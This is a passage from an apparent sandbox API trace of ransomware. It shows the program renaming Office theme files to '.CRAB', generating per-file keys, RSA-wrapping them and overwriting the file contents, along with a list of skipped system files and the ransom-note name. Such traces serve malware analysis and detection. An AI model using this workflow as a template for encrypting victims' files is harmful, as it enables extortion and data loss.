	[0113.276] CryptGetKeyParam (in: hKey=0xda42e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.276] CryptEncrypt (in: hKey=0xda42e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0113.276] GetLastError () returned 0x0
	[0113.276] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0113.277] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03090434[[fn=wood type]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0113.277] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.277] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.278] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0113.358] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.380] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0113.401] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.405] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.405] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0113.407] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.411] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x92bb1, lpOverlapped=0x0) returned 1
	[0113.418] VirtualAlloc (lpAddress=0x0, dwSize=0x92bc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.425] VirtualAlloc (lpAddress=0x0, dwSize=0x92bc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3400000
	[0113.436] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.438] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff6d44f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.438] WriteFile (in: hFile=0x3fc, lpBuffer=0x3400000*, nNumberOfBytesToWrite=0x92bc0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3400000*, lpNumberOfBytesWritten=0x3147f1c*=0x92bc0, lpOverlapped=0x0) returned 1
	[0113.439] VirtualFree (lpAddress=0x3400000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.442] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.445] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.445] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.446] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0113.446] CloseHandle (hObject=0x3fc) returned 1
	[0113.471] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.471] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.471] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.472] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.472] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.472] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.472] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.472] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2=".") returned 1
	[0113.472] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="..") returned 1
	[0113.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx"
	[0113.473] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.473] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129
	[0113.473] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129
	[0113.473] lstrlenW (lpString=".thmx") returned 5
	[0113.473] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.473] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0113.473] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.473] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129
	[0113.473] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129
	[0113.473] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="desktop.ini") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="autorun.inf") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="ntuser.dat") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="iconcache.db") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="bootsect.bak") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="boot.ini") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="ntuser.dat.log") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="thumbs.db") returned 1
	[0113.474] lstrcmpiW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0113.474] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.474] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB") returned 134
	[0113.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457444[[fn=basis]].thmx")) returned 0x20
	[0113.475] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx", dwFileAttributes=0x20) returned 1
	[0113.475] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457444[[fn=basis]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457444[[fn=basis]].thmx.crab")) returned 1
	[0113.476] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0113.476] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB"
	[0113.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB.CRAB"
	[0113.476] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.477] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.478] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.478] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0113.478] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.478] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.478] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0113.478] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.479] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.479] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.479] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0113.479] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0113.479] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.479] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.480] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.480] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0113.480] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda41e0) returned 1
	[0113.481] CryptGetKeyParam (in: hKey=0xda41e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.481] CryptEncrypt (in: hKey=0xda41e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0113.481] GetLastError () returned 0x0
	[0113.481] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0113.481] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e7c0) returned 1
	[0113.481] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4460) returned 1
	[0113.482] CryptGetKeyParam (in: hKey=0xda4460, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.482] CryptEncrypt (in: hKey=0xda4460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0113.482] GetLastError () returned 0x0
	[0113.482] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0113.482] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457444[[fn=basis]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0113.483] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.483] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.483] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x883d3, lpOverlapped=0x0) returned 1
	[0113.537] VirtualAlloc (lpAddress=0x0, dwSize=0x883e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.545] VirtualAlloc (lpAddress=0x0, dwSize=0x883e0, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0113.558] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.560] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff77c2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.560] WriteFile (in: hFile=0x3fc, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x883e0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x3147f1c*=0x883e0, lpOverlapped=0x0) returned 1
	[0113.561] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.563] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.567] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.567] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.567] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0113.567] CloseHandle (hObject=0x3fc) returned 1
	[0113.576] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.576] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.576] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.576] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.577] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.577] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.577] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.577] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2=".") returned 1
	[0113.577] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="..") returned 1
	[0113.577] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx"
	[0113.577] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.577] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132
	[0113.577] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132
	[0113.577] lstrlenW (lpString=".thmx") returned 5
	[0113.578] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.578] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0113.578] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132
	[0113.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="desktop.ini") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="autorun.inf") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="ntuser.dat") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="iconcache.db") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="bootsect.bak") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="boot.ini") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="ntuser.dat.log") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="thumbs.db") returned 1
	[0113.578] lstrcmpiW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0113.578] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.579] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB") returned 137
	[0113.579] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457464[[fn=dividend]].thmx")) returned 0x20
	[0113.580] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx", dwFileAttributes=0x20) returned 1
	[0113.580] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457464[[fn=dividend]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457464[[fn=dividend]].thmx.crab")) returned 1
	[0113.581] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0113.581] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB"
	[0113.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB.CRAB"
	[0113.582] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0113.582] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.583] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.583] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0113.583] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0113.583] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.583] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0113.584] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.584] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.584] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0113.584] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0113.584] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.585] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.585] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.585] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
